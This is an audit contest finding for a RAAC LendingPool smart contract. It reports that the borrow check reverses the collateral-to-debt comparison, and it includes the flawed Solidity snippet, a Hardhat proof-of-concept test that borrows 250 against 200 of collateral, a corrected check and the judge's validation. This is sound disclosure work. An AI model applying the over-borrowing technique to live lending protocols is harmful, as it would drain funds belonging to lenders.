Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect formula to check liquidation threshold when borrowing in LendingPool

Summary

The incorrect formula for liquidation threshold check while borrowing enables user to borrow much more than their collateral value.

Vulnerability Details

When user borrow there is a check to ensure that they cannot borrow more than liquidationThreshold.

function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
...SNIP...
// Ensure the user has enough collateral to cover the new debt
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
...SNIP...
}

The check here is incorrect and this will cause user to borrow much more then the value of their collateral.

POC

Here is a POC to show how a user can borrow 250 $ by just providing the collateral of value 200$.

paste this test in LendingPool.test.jsLendingPool:Borrow and Repay

it("should allow user to borrow more with multiple NFTs as collateral", async function () {
// Mint a second NFT for user1
await raacHousePrices.setHousePrice(2, ethers.parseEther("100"));
const tokenId2 = 2;
const amountToPay = ethers.parseEther("100");
await token.mint(user1.address, amountToPay);
await token.connect(user1).approve(raacNFT.target, amountToPay);
await raacNFT.connect(user1).mint(tokenId2, amountToPay);
// check if user have both NFTs
expect(await raacNFT.ownerOf(2)).to.equal(user1.address);
// Set price for second NFT
await raacHousePrices.setHousePrice(tokenId2, ethers.parseEther("100"));
// Deposit both NFTs
await raacNFT.connect(user1).approve(lendingPool.target, tokenId2);
await lendingPool.connect(user1).depositNFT(tokenId2);
// check user collateral value
const userCollateralValue = await lendingPool.getUserCollateralValue(user1.address);
console.log({ userCollateralValue });
// First NFT allows 80% borrowing of 100 = 80
// Second NFT allows 80% borrowing of 100 = 80
// Total borrowing capacity should be 160
const borrowAmount = ethers.parseEther("150"); // Try borrowing 150
await lendingPool.updateState(); // just in case
const userDebt = await lendingPool.getUserDebt(user1.address);
console.log({ userDebt });
const liquidationThreshold = await lendingPool.liquidationThreshold();
console.log({ liquidationThreshold });
await lendingPool.connect(user1).borrow(borrowAmount);
const normalizedDebt = await lendingPool.getNormalizedDebt();
console.log({ normalizedDebt });
// Verify borrowed amount
const crvUSDBalance = await crvusd.balanceOf(user1.address);
expect(crvUSDBalance).to.equal(ethers.parseEther("1150")); // Initial 1000 + borrowed 150
// Verify debt token balance
const debtBalance = await debtToken.balanceOf(user1.address);
expect(debtBalance).to.gte(borrowAmount);
// Verify that borrowing more than the combined collateral value would fail
const excessBorrowAmount = ethers.parseEther("100"); // This would push LTV way above the 160 limit
await lendingPool.updateState();
const userDebtAfterBorrow = await lendingPool.getUserDebt(user1.address);
console.log({ userDebtAfterBorrow });
//BUG: this should revert but this passes it allows you to borrow 250 with 200 collateral
await expect(lendingPool.connect(user1).borrow(excessBorrowAmount)).to.be.revertedWithCustomError(
lendingPool,
"NotEnoughCollateralToBorrow"
);
// Verify both NFTs are still in the lending pool
expect(await raacNFT.ownerOf(1)).to.equal(lendingPool.target);
expect(await raacNFT.ownerOf(2)).to.equal(lendingPool.target);
});

Impact

High, user can borrow more than collateral value draining the protocol.

Recommendation

use this check instead:

if(userTotalDebt > collateralValue.percentMul(liquidationThreshold)){
revert NotEnoughCollateralToBorrow();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!